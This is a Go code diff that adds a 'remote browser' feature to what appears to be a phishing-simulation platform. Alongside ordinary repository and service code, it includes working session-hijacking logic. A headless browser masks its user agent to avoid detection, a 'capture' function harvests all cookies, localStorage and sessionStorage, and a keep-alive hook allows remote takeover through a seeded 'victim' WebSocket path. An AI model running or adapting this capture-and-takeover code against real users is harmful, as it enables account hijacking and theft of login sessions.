// Apply user-agent override. When headless and no explicit UA is set we use
|
||||
// DefaultChromiumUA to strip "HeadlessChrome" from the header — a common
|
||||
// trigger for "unsupported browser" pages (Gmail, etc.).
|
||||
ua := opts.UserAgent
|
||||
if ua == "" && opts.Headless {
|
||||
ua = DefaultChromiumUA
|
||||
}
|
||||
if ua != "" {
|
||||
if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil {
|
||||
emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err))
|
||||
}
|
||||
}
|
||||
|
||||
// Signal the controller that a page is ready for streaming.
|
||||
select {
|
||||
case r.BrowserCh <- page:
|
||||
default:
|
||||
}
|
||||
|
||||
session := vm.NewObject()
|
||||
RegisterBrowserBindings(vm, session, page, emitter, opts.Debug, opts.QueryTimeout)
|
||||
|
||||
session.Set("withTimeout", func(call goja.FunctionCall) goja.Value {
|
||||
ms := call.Argument(0).ToInteger()
|
||||
fn, ok := goja.AssertFunction(call.Argument(1))
|
||||
if !ok {
|
||||
panic(vm.NewTypeError("withTimeout: second argument must be a function"))
|
||||
}
|
||||
tCtx, tCancel := context.WithTimeout(page.GetContext(), time.Duration(ms)*time.Millisecond)
|
||||
defer tCancel()
|
||||
tPage := page.Context(tCtx)
|
||||
tmpSession := vm.NewObject()
|
||||
RegisterBrowserBindings(vm, tmpSession, tPage, nil, opts.Debug, opts.QueryTimeout)
|
||||
_, err := fn(goja.Undefined(), tmpSession)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
session.Set("close", func(call goja.FunctionCall) goja.Value {
|
||||
emitter.log("[session] closing")
|
||||
if opts.Remote != "" {
|
||||
page.Close() //nolint:errcheck
|
||||
} else {
|
||||
browser.Close() //nolint:errcheck
|
||||
}
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// keepAlive parks the script and signals the caller that the page
|
||||
// is available for streaming. It blocks until the runner context
|
||||
// is cancelled (e.g. the admin closes the live session).
|
||||
session.Set("keepAlive", func(call goja.FunctionCall) goja.Value {
|
||||
emitter.log("[session] keeping alive for remote takeover")
|
||||
select {
|
||||
case r.LiveCh <- page:
|
||||
default:
|
||||
}
|
||||
emitter.sendMust(RunEvent{
|
||||
Type: "keep_alive",
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
<-ctx.Done()
|
||||
emitter.log("[session] keep-alive ended")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// Event-driven API: s.on(event, fn) + s.listen() + s.done()
|
||||
handlers := map[string]goja.Callable{}
|
||||
listenDone := make(chan struct{}, 1)
|
||||
|
||||
session.Set("on", func(call goja.FunctionCall) goja.Value {
|
||||
event := call.Argument(0).String()
|
||||
fn, ok := goja.AssertFunction(call.Argument(1))
|
||||
if !ok {
|
||||
panic(vm.NewTypeError("on: second argument must be a function"))
|
||||
}
|
||||
handlers[event] = fn
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
session.Set("done", func(call goja.FunctionCall) goja.Value {
|
||||
select {
|
||||
case listenDone <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
session.Set("listen", func(call goja.FunctionCall) goja.Value {
|
||||
emitter.log("[session] listening for events")
|
||||
|
||||
var idleCh <-chan time.Time
|
||||
var idleTimer *time.Timer
|
||||
resetIdle := func() {
|
||||
if opts.IdleTimeout > 0 {
|
||||
if idleTimer != nil {
|
||||
idleTimer.Stop()
|
||||
}
|
||||
idleTimer = time.NewTimer(time.Duration(opts.IdleTimeout) * time.Millisecond)
|
||||
idleCh = idleTimer.C
|
||||
}
|
||||
}
|
||||
resetIdle()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return goja.Undefined()
|
||||
case <-listenDone:
|
||||
return goja.Undefined()
|
||||
case <-idleCh:
|
||||
emitter.log(fmt.Sprintf("[session] idle timeout (%dms), closing", opts.IdleTimeout))
|
||||
if opts.Remote != "" {
|
||||
page.Close() //nolint:errcheck
|
||||
} else {
|
||||
browser.Close() //nolint:errcheck
|
||||
}
|
||||
return goja.Undefined()
|
||||
case msg, ok := <-r.Incoming:
|
||||
if !ok {
|
||||
return goja.Undefined()
|
||||
}
|
||||
resetIdle()
|
||||
fn, exists := handlers[msg.Event]
|
||||
if !exists {
|
||||
emitter.log(fmt.Sprintf("[session] no handler for %q, ignoring", msg.Event))
|
||||
continue
|
||||
}
|
||||
if _, err := fn(goja.Undefined(), vm.ToValue(msg.Data)); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// s.stream(selector, name) — non-blocking; returns {stop()} to end the stream.
|
||||
// The caller (controller) watches StreamCh to start/stop cropped frame forwarding.
|
||||
streamDebug := opts.Debug // capture bool, not struct field, to match RegisterBrowserBindings pattern
|
||||
session.Set("stream", func(call goja.FunctionCall) goja.Value {
|
||||
selector := vmArgStr(call.Argument(0))
|
||||
name := vmArgStr(call.Argument(1))
|
||||
if selector == "" || name == "" {
|
||||
panic(vm.NewTypeError("stream: selector and name are required"))
|
||||
}
|
||||
maxFps := 0
|
||||
quality := 0
|
||||
if len(call.Arguments) > 2 {
|
||||
if obj := call.Argument(2).ToObject(vm); obj != nil {
|
||||
if v := obj.Get("maxFps"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
maxFps = int(v.ToInteger())
|
||||
}
|
||||
if v := obj.Get("quality"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
quality = int(v.ToInteger())
|
||||
}
|
||||
}
|
||||
}
|
||||
if streamDebug {
|
||||
emitter.log(fmt.Sprintf("[dbg] → stream %s as %q (maxFps=%d, quality=%d)", selector, name, maxFps, quality))
|
||||
}
|
||||
select {
|
||||
case r.StreamCh <- StreamCmd{Op: "start", Selector: selector, Name: name, Page: page, MaxFps: maxFps, Quality: quality}:
|
||||
default:
|
||||
}
|
||||
if streamDebug {
|
||||
emitter.log(fmt.Sprintf("[dbg] ✓ stream %s as %q started", selector, name))
|
||||
}
|
||||
stopObj := vm.NewObject()
|
||||
stopped := false
|
||||
stopObj.Set("stop", func(call goja.FunctionCall) goja.Value {
|
||||
if !stopped {
|
||||
stopped = true
|
||||
if streamDebug {
|
||||
emitter.log(fmt.Sprintf("[dbg] → stream stop %q", name))
|
||||
}
|
||||
select {
|
||||
case r.StreamCh <- StreamCmd{Op: "stop", Name: name}:
|
||||
default:
|
||||
}
|
||||
if streamDebug {
|
||||
emitter.log(fmt.Sprintf("[dbg] ✓ stream stop %q", name))
|
||||
}
|
||||
}
|
||||
return goja.Undefined()
|
||||
})
|
||||
return stopObj
|
||||
})
|
||||
|
||||
// s.capture() / s.capture({cookies,localStorage,sessionStorage})
|
||||
// Grabs cookies via CDP + localStorage/sessionStorage via JS, emits a "capture" event,
|
||||
// and also returns the data so scripts can inspect it directly.
|
||||
session.Set("capture", func(call goja.FunctionCall) goja.Value {
|
||||
// Options:
|
||||
// domains []string - filter cookies to these domains via CDP (e.g. ["google.com"])
|
||||
// cookieNames []string - only keep cookies with these names
|
||||
// localStorage bool - include localStorage (default true when no domains given)
|
||||
// sessionStorage bool - include sessionStorage (default true when no domains given)
|
||||
var domains []string
|
||||
var cookieNames []string
|
||||
lsExplicit, ssExplicit := false, false
|
||||
capLS := true
|
||||
capSS := true
|
||||
|
||||
if len(call.Arguments) > 0 {
|
||||
obj := call.Argument(0).ToObject(vm)
|
||||
if obj != nil {
|
||||
if v := obj.Get("domains"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
if arr, ok := v.Export().([]interface{}); ok {
|
||||
for _, d := range arr {
|
||||
domains = append(domains, fmt.Sprintf("%v", d))
|
||||
}
|
||||
}
|
||||
}
|
||||
if v := obj.Get("cookieNames"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
if arr, ok := v.Export().([]interface{}); ok {
|
||||
for _, n := range arr {
|
||||
cookieNames = append(cookieNames, fmt.Sprintf("%v", n))
|
||||
}
|
||||
}
|
||||
}
|
||||
if v := obj.Get("localStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
capLS = v.ToBoolean()
|
||||
lsExplicit = true
|
||||
}
|
||||
if v := obj.Get("sessionStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
|
||||
capSS = v.ToBoolean()
|
||||
ssExplicit = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// When domains are specified, skip storage by default unless the caller explicitly opted in.
|
||||
if len(domains) > 0 {
|
||||
if !lsExplicit {
|
||||
capLS = false
|
||||
}
|
||||
if !ssExplicit {
|
||||
capSS = false
|
||||
}
|
||||
}
|
||||
|
||||
result := map[string]interface{}{}
|
||||
|
||||
// Cookie capture: domain-scoped via network.GetCookies (CDP) or all cookies.
|
||||
if len(domains) > 0 {
|
||||
urls := make([]string, len(domains))
|
||||
for i, d := range domains {
|
||||
d = strings.TrimPrefix(d, ".")
|
||||
if !strings.HasPrefix(d, "http") {
|
||||
d = "https://" + d
|
||||
}
|
||||
urls[i] = d
|
||||
}
|
||||
res, err := proto.NetworkGetCookies{Urls: urls}.Call(page)
|
||||
if err == nil {
|
||||
cookies := res.Cookies
|
||||
// Filter by name if requested.
|
||||
if len(cookieNames) > 0 {
|
||||
nameSet := make(map[string]bool, len(cookieNames))
|
||||
for _, n := range cookieNames {
|
||||
nameSet[n] = true
|
||||
}
|
||||
filtered := cookies[:0]
|
||||
for _, c := range cookies {
|
||||
if nameSet[c.Name] {
|
||||
filtered = append(filtered, c)
|
||||
}
|
||||
}
|
||||
cookies = filtered
|
||||
}
|
||||
result["cookies"] = cookies
|
||||
} else {
|
||||
emitter.log(fmt.Sprintf("[capture] cookies: %s", err))
|
||||
}
|
||||
} else {
|
||||
// StorageGetCookies returns all browser cookies (all domains),
|
||||
// equivalent to the CDP Storage.getCookies command.
|
||||
res, err := proto.StorageGetCookies{}.Call(page)
|
||||
if err == nil {
|
||||
cookies := res.Cookies
|
||||
// Filter by name if requested.
|
||||
if len(cookieNames) > 0 {
|
||||
nameSet := make(map[string]bool, len(cookieNames))
|
||||
for _, n := range cookieNames {
|
||||
nameSet[n] = true
|
||||
}
|
||||
filtered := cookies[:0]
|
||||
for _, c := range cookies {
|
||||
if nameSet[c.Name] {
|
||||
filtered = append(filtered, c)
|
||||
}
|
||||
}
|
||||
cookies = filtered
|
||||
}
|
||||
result["cookies"] = cookies
|
||||
} else {
|
||||
emitter.log(fmt.Sprintf("[capture] cookies: %s", err))
|
||||
}
|
||||
}
|
||||
|
||||
evalStorage := func(key string, storeName string) {
|
||||
script := fmt.Sprintf(`() => (function(){try{var s=window[%q],o={};for(var i=0;i<s.length;i++){var k=s.key(i);o[k]=s.getItem(k);}return JSON.stringify(o);}catch(e){return "{}"}})()`, storeName)
|
||||
res, err := page.Eval(script)
|
||||
if err != nil {
|
||||
emitter.log(fmt.Sprintf("[capture] %s: %s", key, err))
|
||||
return
|
||||
}
|
||||
var data interface{}
|
||||
if json.Unmarshal([]byte(res.Value.Str()), &data) == nil {
|
||||
result[key] = data
|
||||
}
|
||||
}
|
||||
|
||||
if capLS {
|
||||
evalStorage("localStorage", "localStorage")
|
||||
}
|
||||
if capSS {
|
||||
evalStorage("sessionStorage", "sessionStorage")
|
||||
}
|
||||
|
||||
emitter.capture(result)
|
||||
return vm.ToValue(result)
|
||||
})
|
||||
|
||||
return session
|
||||
})
|
||||
|
||||
_, err := vm.RunString(r.Script)
|
||||
if err != nil {
|
||||
if ex, ok := err.(*goja.Exception); ok {
|
||||
emitter.errorf(ex.String())
|
||||
return fmt.Errorf("script error: %s", ex.String())
|
||||
}
|
||||
emitter.errorf(err.Error())
|
||||
return err
|
||||
}
|
||||
|
||||
emitter.done()
|
||||
return nil
|
||||
}
|
||||
@@ -1413,7 +1413,7 @@ func (r *Campaign) SaveEvent(
|
||||
"ip_address": campaignEvent.IP.String(),
|
||||
"user_agent": campaignEvent.UserAgent.String(),
|
||||
"data": campaignEvent.Data.String(),
|
||||
"metadata": campaignEvent.Metadata.String(),
|
||||
"metadata": func() string { if campaignEvent.Metadata == nil { return "" }; return campaignEvent.Metadata.String() }(),
|
||||
}
|
||||
if campaignEvent.RecipientID != nil {
|
||||
row["recipient_id"] = campaignEvent.RecipientID.String()
|
||||
|
||||
@@ -0,0 +1,219 @@
|
||||
package repository
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/database"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
"github.com/phishingclub/phishingclub/vo"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var remoteBrowserAllowedColumns = assignTableToColumns(database.REMOTE_BROWSER_TABLE, []string{
|
||||
"created_at",
|
||||
"updated_at",
|
||||
"name",
|
||||
})
|
||||
|
||||
// RemoteBrowserOption controls eager loading and query params.
|
||||
type RemoteBrowserOption struct {
|
||||
*vo.QueryArgs
|
||||
WithCompany bool
|
||||
}
|
||||
|
||||
// RemoteBrowser is the remote browser repository.
|
||||
type RemoteBrowser struct {
|
||||
DB *gorm.DB
|
||||
}
|
||||
|
||||
func (m *RemoteBrowser) load(options *RemoteBrowserOption, db *gorm.DB) *gorm.DB {
|
||||
if options.WithCompany {
|
||||
db = db.Joins("Company")
|
||||
}
|
||||
return db
|
||||
}
|
||||
|
||||
// Insert creates a new remote browser record.
|
||||
func (m *RemoteBrowser) Insert(ctx context.Context, rb *model.RemoteBrowser) (*uuid.UUID, error) {
|
||||
id := uuid.New()
|
||||
row := rb.ToDBMap()
|
||||
row["id"] = id
|
||||
AddTimestamps(row)
|
||||
|
||||
res := m.DB.Model(&database.RemoteBrowser{}).Create(row)
|
||||
if res.Error != nil {
|
||||
return nil, res.Error
|
||||
}
|
||||
return &id, nil
|
||||
}
|
||||
|
||||
// GetAll returns a paginated list of remote browsers for the given company.
|
||||
func (m *RemoteBrowser) GetAll(
|
||||
ctx context.Context,
|
||||
companyID *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowser], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowser]()
|
||||
var rows []database.RemoteBrowser
|
||||
|
||||
db := m.load(options, m.DB)
|
||||
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
|
||||
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if res := db.Find(&rows); res.Error != nil {
|
||||
return result, res.Error
|
||||
}
|
||||
|
||||
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
result.HasNextPage = hasNextPage
|
||||
|
||||
for _, row := range rows {
|
||||
rb, err := ToRemoteBrowser(&row)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
result.Rows = append(result.Rows, rb)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetAllSubset returns lightweight overview rows.
|
||||
func (m *RemoteBrowser) GetAllSubset(
|
||||
ctx context.Context,
|
||||
companyID *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowserOverview], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
|
||||
var rows []database.RemoteBrowser
|
||||
|
||||
db := withCompanyIncludingNullContext(m.DB, companyID, database.REMOTE_BROWSER_TABLE)
|
||||
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if res := db.Select("id, created_at, updated_at, name, description, company_id").Find(&rows); res.Error != nil {
|
||||
return result, res.Error
|
||||
}
|
||||
|
||||
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
result.HasNextPage = hasNextPage
|
||||
|
||||
for _, row := range rows {
|
||||
result.Rows = append(result.Rows, &model.RemoteBrowserOverview{
|
||||
ID: *row.ID,
|
||||
CreatedAt: row.CreatedAt,
|
||||
UpdatedAt: row.UpdatedAt,
|
||||
Name: row.Name,
|
||||
Description: row.Description,
|
||||
CompanyID: row.CompanyID,
|
||||
})
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetByID returns a single remote browser by ID.
|
||||
func (m *RemoteBrowser) GetByID(
|
||||
ctx context.Context,
|
||||
id *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.RemoteBrowser, error) {
|
||||
row := database.RemoteBrowser{}
|
||||
db := m.load(options, m.DB)
|
||||
if res := db.Where(TableColumnID(database.REMOTE_BROWSER_TABLE)+" = ?", id).First(&row); res.Error != nil {
|
||||
return nil, res.Error
|
||||
}
|
||||
return ToRemoteBrowser(&row)
|
||||
}
|
||||
|
||||
// GetByNameAndCompanyID returns a remote browser by name (used for uniqueness checks).
|
||||
func (m *RemoteBrowser) GetByNameAndCompanyID(
|
||||
ctx context.Context,
|
||||
name *vo.String64,
|
||||
companyID *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.RemoteBrowser, error) {
|
||||
row := database.RemoteBrowser{}
|
||||
db := m.load(options, m.DB)
|
||||
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
|
||||
res := db.Where(
|
||||
fmt.Sprintf("%s = ?", TableColumn(database.REMOTE_BROWSER_TABLE, "name")),
|
||||
name.String(),
|
||||
).First(&row)
|
||||
if res.Error != nil {
|
||||
return nil, res.Error
|
||||
}
|
||||
return ToRemoteBrowser(&row)
|
||||
}
|
||||
|
||||
// UpdateByID updates the mutable fields of a remote browser.
|
||||
func (m *RemoteBrowser) UpdateByID(ctx context.Context, id *uuid.UUID, rb *model.RemoteBrowser) error {
|
||||
row := rb.ToDBMap()
|
||||
AddUpdatedAt(row)
|
||||
res := m.DB.Model(&database.RemoteBrowser{}).Where("id = ?", id).Updates(row)
|
||||
if res.Error != nil {
|
||||
return res.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteByID hard-deletes a remote browser.
|
||||
func (m *RemoteBrowser) DeleteByID(ctx context.Context, id *uuid.UUID) error {
|
||||
if res := m.DB.Delete(&database.RemoteBrowser{}, id); res.Error != nil {
|
||||
return res.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ToRemoteBrowser maps a database row to the model type.
|
||||
func ToRemoteBrowser(row *database.RemoteBrowser) (*model.RemoteBrowser, error) {
|
||||
id := nullable.NewNullableWithValue(*row.ID)
|
||||
companyID := nullable.NewNullNullable[uuid.UUID]()
|
||||
if row.CompanyID != nil {
|
||||
companyID.Set(*row.CompanyID)
|
||||
}
|
||||
name := nullable.NewNullableWithValue(*vo.NewString64Must(row.Name))
|
||||
|
||||
description, err := vo.NewOptionalString1024(row.Description)
|
||||
if err != nil {
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
descriptionNullable := nullable.NewNullableWithValue(*description)
|
||||
|
||||
script, err := vo.NewString1MB(row.Script)
|
||||
if err != nil {
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
scriptNullable := nullable.NewNullableWithValue(*script)
|
||||
|
||||
var cfg model.RemoteBrowserConfig
|
||||
if row.Config != "" {
|
||||
if err := json.Unmarshal([]byte(row.Config), &cfg); err != nil {
|
||||
return nil, errs.Wrap(fmt.Errorf("invalid stored config: %w", err))
|
||||
}
|
||||
}
|
||||
configNullable := nullable.NewNullableWithValue(cfg)
|
||||
|
||||
return &model.RemoteBrowser{
|
||||
ID: id,
|
||||
CreatedAt: row.CreatedAt,
|
||||
UpdatedAt: row.UpdatedAt,
|
||||
CompanyID: companyID,
|
||||
Name: name,
|
||||
Description: descriptionNullable,
|
||||
Script: scriptNullable,
|
||||
Config: configNullable,
|
||||
}, nil
|
||||
}
|
||||
@@ -58,6 +58,7 @@ func initialInstallAndSeed(
|
||||
&database.OAuthProvider{},
|
||||
&database.OAuthState{},
|
||||
&database.MicrosoftDeviceCode{},
|
||||
&database.RemoteBrowser{},
|
||||
}
|
||||
|
||||
// disable foreign key constraints temporarily for sqlite to allow table recreation
|
||||
@@ -384,6 +385,39 @@ func SeedSettings(
|
||||
}
|
||||
}
|
||||
}
|
||||
{
|
||||
// seed remote browser victim WS path - 12 random lowercase alphanumeric chars
|
||||
id := uuid.New()
|
||||
var c int64
|
||||
res := db.
|
||||
Model(&database.Option{}).
|
||||
Where("key = ?", data.OptionKeyRemoteBrowserWSPath).
|
||||
Count(&c)
|
||||
|
||||
if res.Error != nil {
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
if c == 0 {
|
||||
b := make([]byte, 12)
|
||||
_, err := rand.Read(b)
|
||||
if err != nil {
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
charset := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
wsPath := ""
|
||||
for i := range b {
|
||||
wsPath += string(charset[int(b[i])%len(charset)])
|
||||
}
|
||||
res = db.Create(&database.Option{
|
||||
ID: &id,
|
||||
Key: data.OptionKeyRemoteBrowserWSPath,
|
||||
Value: wsPath,
|
||||
})
|
||||
if res.Error != nil {
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -57,6 +57,7 @@ type Campaign struct {
|
||||
WebhookService *Webhook
|
||||
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
|
||||
AttachmentPath string
|
||||
RemoteBrowserService *RemoteBrowser
|
||||
}
|
||||
|
||||
// Create creates a new campaign
|
||||
@@ -1880,6 +1881,9 @@ func (c *Campaign) DeleteByID(
|
||||
c.Logger.Errorw("failed to delete campaign by id", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
if c.RemoteBrowserService != nil {
|
||||
c.RemoteBrowserService.TerminateByCampaignID(*id)
|
||||
}
|
||||
c.AuditLogAuthorized(ae)
|
||||
return nil
|
||||
}
|
||||
@@ -3190,6 +3194,9 @@ func (c *Campaign) closeCampaign(
|
||||
c.Logger.Errorw("failed to cancel recipients", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
if c.RemoteBrowserService != nil {
|
||||
c.RemoteBrowserService.TerminateByCampaignID(*id)
|
||||
}
|
||||
err = campaign.Closed()
|
||||
if go_errors.Is(err, errs.ErrCampaignAlreadyClosed) {
|
||||
c.Logger.Debugw("campaign already closed", "error", err)
|
||||
|
||||
@@ -0,0 +1,294 @@
|
||||
package service
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
|
||||
"github.com/go-errors/errors"
|
||||
"github.com/google/uuid"
|
||||
"github.com/phishingclub/phishingclub/data"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
"github.com/phishingclub/phishingclub/repository"
|
||||
"github.com/phishingclub/phishingclub/validate"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
// LiveSession is the minimal interface the service needs to manage session lifecycle.
|
||||
// The controller's concrete session type implements this; the service never needs to
|
||||
// know about browser pages or WebSocket connections.
|
||||
type LiveSession interface {
|
||||
GetCampaignID() uuid.UUID
|
||||
Cancel()
|
||||
IsKeepAlive() bool
|
||||
}
|
||||
|
||||
// RemoteBrowser manages saved remote browser scripts and tracks live sessions.
|
||||
type RemoteBrowser struct {
|
||||
Common
|
||||
RemoteBrowserRepository *repository.RemoteBrowser
|
||||
sessions sync.Map // key (crID or rbID string) → LiveSession
|
||||
}
|
||||
|
||||
// SwapSession atomically replaces the session for key, returning the previous one.
|
||||
func (s *RemoteBrowser) SwapSession(key string, sess LiveSession) (LiveSession, bool) {
|
||||
prev, had := s.sessions.Swap(key, sess)
|
||||
if !had {
|
||||
return nil, false
|
||||
}
|
||||
return prev.(LiveSession), true
|
||||
}
|
||||
|
||||
// StoreSession stores a session, overwriting any existing entry for key.
|
||||
func (s *RemoteBrowser) StoreSession(key string, sess LiveSession) {
|
||||
s.sessions.Store(key, sess)
|
||||
}
|
||||
|
||||
// LoadSession returns the session for key, if present.
|
||||
func (s *RemoteBrowser) LoadSession(key string) (LiveSession, bool) {
|
||||
val, ok := s.sessions.Load(key)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
return val.(LiveSession), true
|
||||
}
|
||||
|
||||
// LoadAndDeleteSession atomically loads and removes the session for key.
|
||||
func (s *RemoteBrowser) LoadAndDeleteSession(key string) (LiveSession, bool) {
|
||||
val, loaded := s.sessions.LoadAndDelete(key)
|
||||
if !loaded {
|
||||
return nil, false
|
||||
}
|
||||
return val.(LiveSession), true
|
||||
}
|
||||
|
||||
// CompareAndDeleteSession removes the session for key only if it is still sess
|
||||
// (pointer identity), so a newer session's cleanup never evicts its own entry.
|
||||
func (s *RemoteBrowser) CompareAndDeleteSession(key string, sess LiveSession) {
|
||||
s.sessions.CompareAndDelete(key, sess)
|
||||
}
|
||||
|
||||
// RangeSessions calls fn for every live session. Returning false stops iteration.
|
||||
func (s *RemoteBrowser) RangeSessions(fn func(key string, sess LiveSession) bool) {
|
||||
s.sessions.Range(func(k, v any) bool {
|
||||
return fn(k.(string), v.(LiveSession))
|
||||
})
|
||||
}
|
||||
|
||||
// TerminateByCampaignID cancels and removes all sessions belonging to campaignID.
|
||||
// Called by service.Campaign on close/delete.
|
||||
func (s *RemoteBrowser) TerminateByCampaignID(campaignID uuid.UUID) {
|
||||
s.sessions.Range(func(key, value any) bool {
|
||||
sess := value.(LiveSession)
|
||||
if sess.GetCampaignID() == campaignID {
|
||||
sess.Cancel()
|
||||
s.sessions.CompareAndDelete(key, value)
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
// Create saves a new remote browser script.
|
||||
func (s *RemoteBrowser) Create(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
rb *model.RemoteBrowser,
|
||||
) (*uuid.UUID, error) {
|
||||
ae := NewAuditEvent("RemoteBrowser.Create", session)
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return nil, errs.ErrAuthorizationFailed
|
||||
}
|
||||
|
||||
var companyID *uuid.UUID
|
||||
if cid, err := rb.CompanyID.Get(); err == nil {
|
||||
companyID = &cid
|
||||
}
|
||||
|
||||
if err := rb.Validate(); err != nil {
|
||||
s.Logger.Errorw("failed to validate remote browser", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
|
||||
name := rb.Name.MustGet()
|
||||
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, nil)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to check remote browser uniqueness", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if !isOK {
|
||||
return nil, validate.WrapErrorWithField(errors.New("is not unique"), "name")
|
||||
}
|
||||
|
||||
id, err := s.RemoteBrowserRepository.Insert(ctx, rb)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to create remote browser", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
ae.Details["id"] = id.String()
|
||||
s.AuditLogAuthorized(ae)
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// GetAll returns all remote browsers for the given company.
|
||||
func (s *RemoteBrowser) GetAll(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
companyID *uuid.UUID,
|
||||
options *repository.RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowser], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowser]()
|
||||
ae := NewAuditEvent("RemoteBrowser.GetAll", session)
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return result, errs.ErrAuthorizationFailed
|
||||
}
|
||||
result, err = s.RemoteBrowserRepository.GetAll(ctx, companyID, options)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browsers", "error", err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetAllOverview returns lightweight overview rows.
|
||||
func (s *RemoteBrowser) GetAllOverview(
|
||||
companyID *uuid.UUID,
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
options *repository.RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowserOverview], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
|
||||
ae := NewAuditEvent("RemoteBrowser.GetAllOverview", session)
|
||||
